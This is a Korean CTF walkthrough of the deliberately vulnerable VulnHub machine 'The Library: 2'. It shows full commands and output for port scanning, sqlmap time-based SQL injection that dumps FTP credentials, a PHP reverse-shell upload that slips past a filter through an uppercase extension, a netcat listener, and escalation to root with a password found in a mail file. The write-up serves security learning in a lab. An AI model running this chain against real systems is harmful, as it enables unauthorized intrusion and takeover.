vulnhub Walkthrough : The Library:2

12993 단어 보안VulnHubCTF
초보자가 가득한 시큐리티 엔지니어를 목표로 하기 위해 공부한 비망록이 되기 때문에 잘못되어 있는 일이 있을지도 모릅니다.
vulnhub의 의도적으로 취약성이 만들어진 The Library:2의 Walkthrough가 됩니다.

vulnhub 정보





이름
The Library: 2


Date release
25 Jul 2019

작성자
Avraham Cohen

시리즈
The Library


PortScan:


nmap를 사용하여 대상 머신의 포트를 살펴보십시오.ftpApache 가 존재하는 것을 알았습니다.


PORT
서비스
VERSION


21
ftp
vsftpd 3.0.3

80
http
Apache httpd 2.4.18 ((Ubuntu))


root@kali:~# nmap -sS -sV 192.168.56.57
Starting Nmap 7.70 ( https://nmap.org ) at 2020-05-02 07:52 EDT
Nmap scan report for 192.168.56.57
Host is up (0.00066s latency).
Not shown: 969 filtered ports, 29 closed ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
MAC Address: 08:00:27:6C:4A:CD (Oracle VirtualBox virtual NIC)
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.05 seconds

Enumeration:



웹 서버 디렉토리를 찾았는데 library.php를 찾았습니다.

root@kali:~# dirb http://192.168.56.57 -X .php
-----------------
DIRB v2.22    
By The Dark Raver
-----------------
START_TIME: Sat May  2 07:53:48 2020
URL_BASE: http://192.168.56.57/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
EXTENSIONS_LIST: (.php) | (.php) [NUM = 1]
-----------------
GENERATED WORDS: 4612                                                          
---- Scanning URL: http://192.168.56.57/ ----
+ http://192.168.56.57/library.php (CODE:200|SIZE:1546)                                                                                                                       
-----------------
END_TIME: Sat May  2 07:53:52 2020
DOWNLOADED: 4612 - FOUND: 1



Exploitation:



GET 매개 변수에 SQL 주입이 있는지 찾았지만 찾을 수 없으므로,
POST 메소드로 변경하고 sqlmap 를 사용한 결과 sql 주입이 존재하는 것으로 나타났습니다.

root@kali:~# sqlmap -u 192.168.56.57/library.php --data "country=France" --dbs
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.3#stable}
|_ -| . [.]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org


[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program


[*] starting @ 08:00:26 /2020-05-02/


[08:00:26] [INFO] resuming back-end DBMS 'mysql' 
[08:00:26] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: country (POST)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: country=France' AND SLEEP(5) AND 'gVJm'='gVJm
---
[08:00:26] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 16.04 or 16.10 (yakkety or xenial)
web application technology: Apache 2.4.18
back-end DBMS: MySQL >= 5.0.12
[08:00:26] [INFO] fetching database names
[08:00:26] [INFO] fetching number of databases
[08:00:26] [INFO] resumed: 5
[08:00:26] [INFO] resumed: information_schema
[08:00:26] [INFO] resumed: library
[08:00:26] [INFO] resumed: mysql
[08:00:26] [INFO] resumed: performance_schema
[08:00:26] [INFO] resumed: sys
available databases [5]:
[*] information_schema
[*] library
[*] mysql
[*] performance_schema
[*] sys


[08:00:26] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.56.57'


[*] ending @ 08:00:26 /2020-05-02/

데이터베이스 이름을 알았으므로 테이블을 지정하고 sqlmap 알게 된 계정 정보로 ftp 연결할 수 있었습니다.

root@kali:~# sqlmap -u 192.168.56.57/library.php --data "country=France" -D library --dump

Database: library
Table: access
[1 entry]
+----+---------+----------+----------------+
| id | service | username | password       |
+----+---------+----------+----------------+
| 1  | ftp     | globus   | AroundTheWorld |
+----+---------+----------+----------------+


root@kali:~# ftp 192.168.56.57
Connected to 192.168.56.57.
220 (vsFTPd 3.0.3)
Name (192.168.56.57:root): globus
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> 
ftp 에 접속할 수 있었으므로 리버스 쉘을 업로드 해, 서버에 접속할 수 있는지 시험해 봅니다.

root@kali:~# cp /usr/share/webshells/php/php-reverse-shell.php shell.php

ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxrwx    2 1001     1001         4096 Jul 25  2019 html
226 Directory send OK.
ftp> cd html
250 Directory successfully changed.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rwxrwxrwx    1 0        0           11321 Jul 17  2019 index.html
-rwxrwxrwx    1 0        0            3319 Jul 24  2019 library.php
-rwxrwxrwx    1 0        0            3172 Jul 21  2019 style.css
226 Directory send OK.
ftp> put shell.php 
local: shell.php remote: shell.php
200 PORT command successful. Consider using PASV.
550 Permission denied.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rwxrwxrwx    1 0        0           11321 Jul 17  2019 index.html
-rwxrwxrwx    1 0        0            3319 Jul 24  2019 library.php
-rwxrwxrwx    1 0        0            3172 Jul 21  2019 style.css
226 Directory send OK.
ftp>
FTP 를 업로드할 수 없습니다.
파일 이름 shell.php로 변경하고 다시 업로드했는데 업로드할 수 있었습니다. (실행 권한도 부여하고 있습니다.)

ftp> put shell.PHP 
local: shell.PHP remote: shell.PHP
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
5494 bytes sent in 0.00 secs (16.1713 MB/s)
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rwxrwxrwx    1 0        0           11321 Jul 17  2019 index.html
-rwxrwxrwx    1 0        0            3319 Jul 24  2019 library.php
-rw-------    1 1001     1001         5494 May 02 14:26 shell.PHP
-rwxrwxrwx    1 0        0            3172 Jul 21  2019 style.css
226 Directory send OK.
ftp> chmod 777 shell.PHP
200 SITE CHMOD command ok.

페이로드 업로드가 완료되었으므로 웹 브라우저에서 실행합니다. 그 전에 shell.PHP 를 사용하여 연결을 기다립니다. 업로드한 페이로드를 실행한 후 액세스할 수 있었습니다.

root@kali:~# netcat -lvp 1234
listening on [any] 1234 ...
192.168.56.57: inverse host lookup failed: Unknown host
connect to [192.168.56.3] from (UNKNOWN) [192.168.56.57] 51844
Linux ubuntu 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
 14:30:10 up  1:06,  0 users,  load average: 0.03, 0.02, 0.05
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$

Privilege Escalation:



먼저 netcat 를 사용하여 대화형 셸을 가져옵니다.

$ python -c "import pty;pty.spawn('/bin/bash')"
www-data@ubuntu:/$ 

여러가지 정보를 찾고 있었는데, python 디렉토리를 발견했습니다. mail 파일을 확인한 결과, 루트 사용자의 비밀번호가 표시되었습니다.

www-data@ubuntu:/var/mail$ ls
ls
welcome
www-data@ubuntu:/var/mail$ cat welcome    
cat welcome
Welcome Administrator,

This is the library. 

Database credentials: username / password.
Root password: secretPassword
welcome 에서 방금 이전에 찾은 암호로 su


www-data@ubuntu:/var/mail$ su root
su root
Password: secretPassword

root@ubuntu:/var/mail# id
id
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu:/var/mail#

면책사항



본 기사는 정보 보안에 있어서의 공격의 이해, 방위의 스킬 향상을 목적으로 한 보안에 관한 내용이 있습니다. 본 기사의 내용을 사용하여 발생한 어떠한 손해나 손실에 대해서, 본 기사 작성자는 일절의 책임을 지지 않습니다.
본 기사의 내용을 실제로 사용하여 제3자의 개인이나 조직 등을 공격한 경우는 법률에 의해 처벌될 가능성이 있으므로 반드시 자신이 소유하고 있는 환경만을 대상으로 하여 타인이나 조직 가 소유하고 있는 환경은 결코 대상으로 하지 않도록 부탁합니다.

좋은 웹페이지 즐겨찾기